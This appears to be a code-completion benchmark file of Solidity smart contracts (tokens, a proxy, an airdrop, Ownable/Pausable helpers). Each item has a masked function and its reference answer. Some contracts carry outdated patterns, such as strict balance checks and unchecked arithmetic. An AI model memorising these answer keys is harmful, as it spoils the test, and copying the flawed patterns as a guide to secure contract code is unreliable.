length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } }
// Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0;
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8)
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8)
72401
DeCashProxy
initialize
contract DeCashProxy is DeCashBase, Proxy { bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; event ProxyInitiated(address indexed implementation); event ProxyUpgraded(address indexed implementation); // Construct constructor(address _decashStorageAddress) DeCashBase(_decashStorageAddress) { assert( _IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1) ); version = 1; } function upgrade(address _address) public onlyLatestContract("upgrade", msg.sender) { _setImplementation(_address); emit ProxyUpgraded(_address); } function initialize(address _address) external onlyOwner {<FILL_FUNCTION_BODY> } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address _address) private { require(Address.isContract(_address), "address is not a contract"); bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, _address) } } /** * @dev Returns the current implementation address. */ function _implementation() internal view override returns (address impl) { bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { impl := sload(slot) } } }
contract DeCashProxy is DeCashBase, Proxy { bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; event ProxyInitiated(address indexed implementation); event ProxyUpgraded(address indexed implementation); // Construct constructor(address _decashStorageAddress) DeCashBase(_decashStorageAddress) { assert( _IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1) ); version = 1; } function upgrade(address _address) public onlyLatestContract("upgrade", msg.sender) { _setImplementation(_address); emit ProxyUpgraded(_address); } <FILL_FUNCTION> /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address _address) private { require(Address.isContract(_address), "address is not a contract"); bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, _address) } } /** * @dev Returns the current implementation address. */ function _implementation() internal view override returns (address impl) { bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { impl := sload(slot) } } }
require( !_getBool(keccak256(abi.encodePacked("proxy.init", address(this)))), "Proxy already initialized" ); _setImplementation(_address); _setBool(keccak256(abi.encodePacked("proxy.init", address(this))), true); emit ProxyInitiated(_address);
function initialize(address _address) external onlyOwner
function initialize(address _address) external onlyOwner
85359
HYPE_Finance
null
contract HYPE_Finance is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; //address public owner; constructor () ERC20Detailed("HYPE-Finance", "HYPE", 18) {<FILL_FUNCTION_BODY> } }
contract HYPE_Finance is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; <FILL_FUNCTION> }
owner = msg.sender; _totalSupply = 10000 *(10**uint256(18)); _balances[msg.sender] = _totalSupply;
constructor () ERC20Detailed("HYPE-Finance", "HYPE", 18)
//address public owner; constructor () ERC20Detailed("HYPE-Finance", "HYPE", 18)
30985
BEE_TOKEN
decreaseApproval
contract BEE_TOKEN is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public RATE; uint public DENOMINATOR; bool public isStopped = false; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event Mint(address indexed to, uint256 amount); event ChangeRate(uint256 amount); modifier onlyWhenRunning { require(!isStopped); _; } // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "BEE"; name = "BEE TOKEN"; decimals = 18; _totalSupply = 1000000000 * 10**uint(decimals); balances[owner] = _totalSupply; RATE = 20000000; // 1 ETH = 2000 OPY DENOMINATOR = 10000; emit Transfer(address(0), owner, _totalSupply); } // ---------------------------------------------------------------------------- // It invokes when someone sends ETH to this contract address // requires enough gas for execution // ---------------------------------------------------------------------------- function() public payable { buyTokens(); } // ---------------------------------------------------------------------------- // Function to handle eth and token transfers // tokens are transferred to user // ETH are transferred to current owner // ---------------------------------------------------------------------------- function buyTokens() onlyWhenRunning public payable { require(msg.value > 0); uint tokens = msg.value.mul(RATE).div(DENOMINATOR); require(balances[owner] >= tokens); balances[msg.sender] = balances[msg.sender].add(tokens); balances[owner] = balances[owner].sub(tokens); emit Transfer(owner, msg.sender, tokens); owner.transfer(msg.value); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { require(to != address(0)); require(tokens > 0); require(balances[msg.sender] >= tokens); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { require(spender != address(0)); require(tokens > 0); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { require(from != address(0)); require(to != address(0)); require(tokens > 0); require(balances[from] >= tokens); require(allowed[from][msg.sender] >= tokens); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Increase the amount of tokens that an owner allowed to a spender. // // approve should be called when allowed[_spender] == 0. To increment // allowed value is better to use this function to avoid 2 calls (and wait until // the first transaction is mined) // _spender The address which will spend the funds. // _addedValue The amount of tokens to increase the allowance by. // ------------------------------------------------------------------------ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // ------------------------------------------------------------------------ // Decrease the amount of tokens that an owner allowed to a spender. // // approve should be called when allowed[_spender] == 0. To decrement // allowed value is better to use this function to avoid 2 calls (and wait until // the first transaction is mined) // _spender The address which will spend the funds. // _subtractedValue The amount of tokens to decrease the allowance by. // ------------------------------------------------------------------------ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Change the ETH to IO rate // ------------------------------------------------------------------------ function changeRate(uint256 _rate) public onlyOwner { require(_rate > 0); RATE =_rate; emit ChangeRate(_rate); } // ------------------------------------------------------------------------ // Function to mint tokens // _to The address that will receive the minted tokens. // _amount The amount of tokens to mint. // A boolean that indicates if the operation was successful. // ------------------------------------------------------------------------ function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { require(_to != address(0)); require(_amount > 0); uint newamount = _amount * 10**uint(decimals); _totalSupply = _totalSupply.add(newamount); balances[_to] = balances[_to].add(newamount); emit Mint(_to, newamount); emit Transfer(address(0), _to, newamount); return true; } // ------------------------------------------------------------------------ // function to stop the ICO // ------------------------------------------------------------------------ function stopICO() onlyOwner public { isStopped = true; } // ------------------------------------------------------------------------ // function to resume ICO // ------------------------------------------------------------------------ function resumeICO() onlyOwner public { isStopped = false; } }
contract BEE_TOKEN is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public RATE; uint public DENOMINATOR; bool public isStopped = false; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event Mint(address indexed to, uint256 amount); event ChangeRate(uint256 amount); modifier onlyWhenRunning { require(!isStopped); _; } // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "BEE"; name = "BEE TOKEN"; decimals = 18; _totalSupply = 1000000000 * 10**uint(decimals); balances[owner] = _totalSupply; RATE = 20000000; // 1 ETH = 2000 OPY DENOMINATOR = 10000; emit Transfer(address(0), owner, _totalSupply); } // ---------------------------------------------------------------------------- // It invokes when someone sends ETH to this contract address // requires enough gas for execution // ---------------------------------------------------------------------------- function() public payable { buyTokens(); } // ---------------------------------------------------------------------------- // Function to handle eth and token transfers // tokens are transferred to user // ETH are transferred to current owner // ---------------------------------------------------------------------------- function buyTokens() onlyWhenRunning public payable { require(msg.value > 0); uint tokens = msg.value.mul(RATE).div(DENOMINATOR); require(balances[owner] >= tokens); balances[msg.sender] = balances[msg.sender].add(tokens); balances[owner] = balances[owner].sub(tokens); emit Transfer(owner, msg.sender, tokens); owner.transfer(msg.value); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { require(to != address(0)); require(tokens > 0); require(balances[msg.sender] >= tokens); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { require(spender != address(0)); require(tokens > 0); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { require(from != address(0)); require(to != address(0)); require(tokens > 0); require(balances[from] >= tokens); require(allowed[from][msg.sender] >= tokens); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Increase the amount of tokens that an owner allowed to a spender. // // approve should be called when allowed[_spender] == 0. To increment // allowed value is better to use this function to avoid 2 calls (and wait until // the first transaction is mined) // _spender The address which will spend the funds. // _addedValue The amount of tokens to increase the allowance by. // ------------------------------------------------------------------------ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Change the ETH to IO rate // ------------------------------------------------------------------------ function changeRate(uint256 _rate) public onlyOwner { require(_rate > 0); RATE =_rate; emit ChangeRate(_rate); } // ------------------------------------------------------------------------ // Function to mint tokens // _to The address that will receive the minted tokens. // _amount The amount of tokens to mint. // A boolean that indicates if the operation was successful. // ------------------------------------------------------------------------ function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { require(_to != address(0)); require(_amount > 0); uint newamount = _amount * 10**uint(decimals); _totalSupply = _totalSupply.add(newamount); balances[_to] = balances[_to].add(newamount); emit Mint(_to, newamount); emit Transfer(address(0), _to, newamount); return true; } // ------------------------------------------------------------------------ // function to stop the ICO // ------------------------------------------------------------------------ function stopICO() onlyOwner public { isStopped = true; } // ------------------------------------------------------------------------ // function to resume ICO // ------------------------------------------------------------------------ function resumeICO() onlyOwner public { isStopped = false; } }
require(_spender != address(0)); uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true;
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool)
// ------------------------------------------------------------------------ // Decrease the amount of tokens that an owner allowed to a spender. // // approve should be called when allowed[_spender] == 0. To decrement // allowed value is better to use this function to avoid 2 calls (and wait until // the first transaction is mined) // _spender The address which will spend the funds. // _subtractedValue The amount of tokens to decrease the allowance by. // ------------------------------------------------------------------------ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool)
18057
GMPToken
GMPToken
contract GMPToken is Ownable, ERC20Interface { /* Public variables of the token */ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; /* Constuctor: Initializes contract with initial supply tokens to the creator of the contract */ function GMPToken( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) {<FILL_FUNCTION_BODY> } /* Implementation of ERC20Interface */ function totalSupply() constant returns (uint256 totalSupply) { return totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _amount) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balances[_from] > _amount); // Check if the sender has enough require (balances[_to] + _amount > balances[_to]); // Check for overflows balances[_from] -= _amount; // Subtract from the sender balances[_to] += _amount; // Add the same to the recipient Transfer(_from, _to, _amount); } function transfer(address _to, uint256 _amount) returns (bool success) { _transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require (_value < allowed[_from][msg.sender]); // Check allowance allowed[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _amount) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function mintToken(uint256 mintedAmount) onlyOwner { balances[Ownable.owner] += mintedAmount; totalSupply += mintedAmount; Transfer(0, Ownable.owner, mintedAmount); } }
contract GMPToken is Ownable, ERC20Interface { /* Public variables of the token */ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; <FILL_FUNCTION> /* Implementation of ERC20Interface */ function totalSupply() constant returns (uint256 totalSupply) { return totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _amount) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balances[_from] > _amount); // Check if the sender has enough require (balances[_to] + _amount > balances[_to]); // Check for overflows balances[_from] -= _amount; // Subtract from the sender balances[_to] += _amount; // Add the same to the recipient Transfer(_from, _to, _amount); } function transfer(address _to, uint256 _amount) returns (bool success) { _transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require (_value < allowed[_from][msg.sender]); // Check allowance allowed[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _amount) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function mintToken(uint256 mintedAmount) onlyOwner { balances[Ownable.owner] += mintedAmount; totalSupply += mintedAmount; Transfer(0, Ownable.owner, mintedAmount); } }
balances[msg.sender] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes
function GMPToken( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol )
/* Constuctor: Initializes contract with initial supply tokens to the creator of the contract */ function GMPToken( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol )
72264
NydroniaAirDrop
AirDrop
contract NydroniaAirDrop is Ownable { Token token; event TransferredToken(address indexed to, uint256 value); event FailedTransfer(address indexed to, uint256 value); modifier whenDropIsActive() { assert(isActive()); _; } function AirDrop () {<FILL_FUNCTION_BODY> } function isActive() constant returns (bool) { return ( tokensAvailable() > 0// Tokens must be available to send ); } //below function can be used when you want to send every recipeint with different number of tokens function sendTokens(address[] dests, uint256[] values) whenDropIsActive onlyOwner external { uint256 i = 0; while (i < dests.length) { uint256 toSend = values[i] * 10**18; sendInternally(dests[i] , toSend, values[i]); i++; } } // this function can be used when you want to send same number of tokens to all the recipients function sendTokensSingleValue(address[] dests, uint256 value) whenDropIsActive onlyOwner external { uint256 i = 0; uint256 toSend = value * 10**18; while (i < dests.length) { sendInternally(dests[i] , toSend, value); i++; } } function sendInternally(address recipient, uint256 tokensToSend, uint256 valueToPresent) internal { if(recipient == address(0)) return; if(tokensAvailable() >= tokensToSend) { token.transfer(recipient, tokensToSend); TransferredToken(recipient, valueToPresent); } else { FailedTransfer(recipient, valueToPresent); } } function tokensAvailable() constant returns (uint256) { return token.balanceOf(this); } function destroy() onlyOwner { uint256 balance = tokensAvailable(); require (balance > 0); token.transfer(owner, balance); selfdestruct(owner); } }
contract NydroniaAirDrop is Ownable { Token token; event TransferredToken(address indexed to, uint256 value); event FailedTransfer(address indexed to, uint256 value); modifier whenDropIsActive() { assert(isActive()); _; } <FILL_FUNCTION> function isActive() constant returns (bool) { return ( tokensAvailable() > 0// Tokens must be available to send ); } //below function can be used when you want to send every recipeint with different number of tokens function sendTokens(address[] dests, uint256[] values) whenDropIsActive onlyOwner external { uint256 i = 0; while (i < dests.length) { uint256 toSend = values[i] * 10**18; sendInternally(dests[i] , toSend, values[i]); i++; } } // this function can be used when you want to send same number of tokens to all the recipients function sendTokensSingleValue(address[] dests, uint256 value) whenDropIsActive onlyOwner external { uint256 i = 0; uint256 toSend = value * 10**18; while (i < dests.length) { sendInternally(dests[i] , toSend, value); i++; } } function sendInternally(address recipient, uint256 tokensToSend, uint256 valueToPresent) internal { if(recipient == address(0)) return; if(tokensAvailable() >= tokensToSend) { token.transfer(recipient, tokensToSend); TransferredToken(recipient, valueToPresent); } else { FailedTransfer(recipient, valueToPresent); } } function tokensAvailable() constant returns (uint256) { return token.balanceOf(this); } function destroy() onlyOwner { uint256 balance = tokensAvailable(); require (balance > 0); token.transfer(owner, balance); selfdestruct(owner); } }
address _tokenAddr = 0xdB11F6Fc8E16c02719e9c2Eb3c4C762feE8F5C5b; //here pass address of your token token = Token(_tokenAddr);
function AirDrop ()
function AirDrop ()
12850
Ownable
compareStr
contract Ownable { address private _owner; event OwnerTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnerTransferred(address(0), _owner); } function owner() public view returns(address){ return _owner; } function isOwner() public view returns(bool){ return msg.sender == _owner; } modifier onlyOwner() { require(msg.sender == _owner, "it is not called by the owner"); _; } function changeOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnerTransferred(_owner, newOwner); _owner = newOwner; } function compareStr(string memory _str1,string memory _str2) internal pure returns(bool) {<FILL_FUNCTION_BODY> } }
contract Ownable { address private _owner; event OwnerTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnerTransferred(address(0), _owner); } function owner() public view returns(address){ return _owner; } function isOwner() public view returns(bool){ return msg.sender == _owner; } modifier onlyOwner() { require(msg.sender == _owner, "it is not called by the owner"); _; } function changeOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnerTransferred(_owner, newOwner); _owner = newOwner; } <FILL_FUNCTION> }
bool compareResult = false; if(keccak256(abi.encodePacked(_str1)) == keccak256(abi.encodePacked(_str2))) { compareResult = true; } return compareResult;
function compareStr(string memory _str1,string memory _str2) internal pure returns(bool)
function compareStr(string memory _str1,string memory _str2) internal pure returns(bool)
22384
Pausable
pause
contract Pausable is Ownable { event Pause(bool _paused); bool public paused = false; /** * @dev Modifier to make a function callable based on pause states. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev called by the owner to set new pause flags */ function pause() onlyOwner public {<FILL_FUNCTION_BODY> } }
contract Pausable is Ownable { event Pause(bool _paused); bool public paused = false; /** * @dev Modifier to make a function callable based on pause states. */ modifier whenNotPaused() { require(!paused); _; } <FILL_FUNCTION> }
paused = !paused; Pause(paused);
function pause() onlyOwner public
/** * @dev called by the owner to set new pause flags */ function pause() onlyOwner public
3899
FLiK
contract FLiK is owned { /* Public variables of the token */ string public standard = 'FLiK 0.1'; string public name; string public symbol; uint8 public decimals = 14; uint256 public totalSupply; bool public locked; uint256 public icoSince; uint256 public icoTill; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); event IcoFinished(); uint256 public buyPrice = 1; /* Initializes contract with initial supply tokens to the creator of the contract */ function FLiK( uint256 initialSupply, string tokenName, string tokenSymbol, uint256 _icoSince, uint256 _icoTill ) { totalSupply = initialSupply; balanceOf[this] = totalSupply / 100 * 90; // Give the smart contract 90% of initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes balanceOf[msg.sender] = totalSupply / 100 * 10; // Give 10% of total supply to contract owner Transfer(this, msg.sender, balanceOf[msg.sender]); if(_icoSince == 0 && _icoTill == 0) { icoSince = 1503187200; icoTill = 1505865600; } else { icoSince = _icoSince; icoTill = _icoTill; } } /* Send coins */ function transfer(address _to, uint256 _value) { require(locked == false); // Check if smart contract is locked require(balanceOf[msg.sender] >= _value); // Check if the sender has enough require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows balanceOf[msg.sender] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(locked == false); // Check if smart contract is locked require(balanceOf[_from] >= _value); // Check if the sender has enough require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function buy(uint256 ethers, uint256 time) internal { require(locked == false); // Check if smart contract is locked require(time >= icoSince && time <= icoTill); // check for ico dates require(ethers > 0); // check if ethers is greater than zero uint amount = ethers / buyPrice; require(balanceOf[this] >= amount); // check if smart contract has sufficient number of tokens balanceOf[msg.sender] += amount; balanceOf[this] -= amount; Transfer(this, msg.sender, amount); } function () payable {<FILL_FUNCTION_BODY> } function internalIcoFinished(uint256 time) internal returns (bool) { if(time > icoTill) { uint256 unsoldTokens = balanceOf[this]; balanceOf[owner] += unsoldTokens; balanceOf[this] = 0; Transfer(this, owner, unsoldTokens); IcoFinished(); return true; } return false; } /* 0x356e2927 */ function icoFinished() onlyOwner { internalIcoFinished(now); } /* 0xd271011d */ function transferEthers() onlyOwner { owner.transfer(this.balance); } function setBuyPrice(uint256 _buyPrice) onlyOwner { buyPrice = _buyPrice; } /* locking: 0x211e28b60000000000000000000000000000000000000000000000000000000000000001 unlocking: 0x211e28b60000000000000000000000000000000000000000000000000000000000000000 */ function setLocked(bool _locked) onlyOwner { locked = _locked; } }
contract FLiK is owned { /* Public variables of the token */ string public standard = 'FLiK 0.1'; string public name; string public symbol; uint8 public decimals = 14; uint256 public totalSupply; bool public locked; uint256 public icoSince; uint256 public icoTill; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); event IcoFinished(); uint256 public buyPrice = 1; /* Initializes contract with initial supply tokens to the creator of the contract */ function FLiK( uint256 initialSupply, string tokenName, string tokenSymbol, uint256 _icoSince, uint256 _icoTill ) { totalSupply = initialSupply; balanceOf[this] = totalSupply / 100 * 90; // Give the smart contract 90% of initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes balanceOf[msg.sender] = totalSupply / 100 * 10; // Give 10% of total supply to contract owner Transfer(this, msg.sender, balanceOf[msg.sender]); if(_icoSince == 0 && _icoTill == 0) { icoSince = 1503187200; icoTill = 1505865600; } else { icoSince = _icoSince; icoTill = _icoTill; } } /* Send coins */ function transfer(address _to, uint256 _value) { require(locked == false); // Check if smart contract is locked require(balanceOf[msg.sender] >= _value); // Check if the sender has enough require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows balanceOf[msg.sender] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(locked == false); // Check if smart contract is locked require(balanceOf[_from] >= _value); // Check if the sender has enough require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function buy(uint256 ethers, uint256 time) internal { require(locked == false); // Check if smart contract is locked require(time >= icoSince && time <= icoTill); // check for ico dates require(ethers > 0); // check if ethers is greater than zero uint amount = ethers / buyPrice; require(balanceOf[this] >= amount); // check if smart contract has sufficient number of tokens balanceOf[msg.sender] += amount; balanceOf[this] -= amount; Transfer(this, msg.sender, amount); } <FILL_FUNCTION> function internalIcoFinished(uint256 time) internal returns (bool) { if(time > icoTill) { uint256 unsoldTokens = balanceOf[this]; balanceOf[owner] += unsoldTokens; balanceOf[this] = 0; Transfer(this, owner, unsoldTokens); IcoFinished(); return true; } return false; } /* 0x356e2927 */ function icoFinished() onlyOwner { internalIcoFinished(now); } /* 0xd271011d */ function transferEthers() onlyOwner { owner.transfer(this.balance); } function setBuyPrice(uint256 _buyPrice) onlyOwner { buyPrice = _buyPrice; } /* locking: 0x211e28b60000000000000000000000000000000000000000000000000000000000000001 unlocking: 0x211e28b60000000000000000000000000000000000000000000000000000000000000000 */ function setLocked(bool _locked) onlyOwner { locked = _locked; } }
buy(msg.value, now);
function () payable
function () payable
32828
IbTT1
tokenURI
